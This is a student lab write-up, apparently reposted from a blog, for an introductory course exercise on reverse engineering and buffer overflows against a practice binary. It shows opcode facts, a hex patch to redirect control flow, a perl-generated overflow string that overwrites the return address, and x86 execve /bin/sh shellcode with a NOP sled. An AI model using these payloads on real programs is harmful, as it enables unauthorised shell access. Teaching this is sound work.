20155236范晨歌 Exp1PC平台逆向破解及Bof基础实践

出现的问题及解决:

  • 在下载execstack时,出现了下列签名无效的错误!
  • 解决方案:发现是密钥过期了,将新的密钥填入apt-keyring
  • 输入命令:apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6
    再执行update发现问题解决。

实验一 逆向及Bof基础

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP汇编指令的机器码是"90"
  • JNE汇编指令的机器码是"75"
  • JE 汇编指令的机器码是"74"
  • JMP汇编指令的机器码是"eb"
  • CMP汇编指令的机器码是"39"

详情可见汇编指令及机器码速查

2.掌握反汇编与十六进制编程器

1)反汇编命令:objdump -d pwn20155236 | more
1073985-20180318145333292-989245022.png

1073985-20180318144117091-822967614.png

2)十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
输入命令vi pwn20155236查看可执行文件内容,发现大部分是我们没法理解的乱码;
按esc后输入:%!xxd将显示模式切换为16进制模式;
进行相关操作后,输入:%!xxd -r转换16进制为原格式。

3.直接修改程序机器指令,改变程序执行流程

1)在vi中查找到e8d7这一行,命令:/e8d7
1073985-20180318145813775-1045829905.png

2)直接按i修改d7为c3
1073985-20180318145827009-642229795.png

3)输入::%!xxd -r转换16进制为原格式。
4)存盘退出::wq
5)再次输入反汇编命令查看并验证。
1073985-20180318150337153-1115348085.png
1073985-20180318150348435-246079945.png


实验二 利用foo函数的Bof漏洞

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1)1.输入gdb pwn20155236调试该程序,输入1111111122222222333333334444444455555555字符串确定哪几个字符会覆盖到返回地址

2)再次输入字符串1111111122222222333333334444444412345678确定溢出的是那几位
1073985-20180318150803869-1842612099.png

3)对比之前eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
4)构造输入字符串,由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
1073985-20180318150856566-1362482309.png
3)用xxd input以16进制显示input文件,检查写入地址的正误;

4)确认无误后用(cat input;cat) | ./pwn20155236来将改字符串作为可执行文件的输入。


实验三 注入Shellcode并执行

1)使用apt-get install execstack命令安装execstack。
2)1073985-20180318174606886-529733453.png
3)选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1),确定perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode中的x1_x4
4)通过gdb调试得:端口3465,继续调试
1073985-20180318210340876-285057144.png

1073985-20180318210115302-1134397117.png

将其倒着放入x1_x4中,得x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
1073985-20180318210207141-539958031.png

转载于:https://www.cnblogs.com/fcgfcgfcg/p/8595534.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值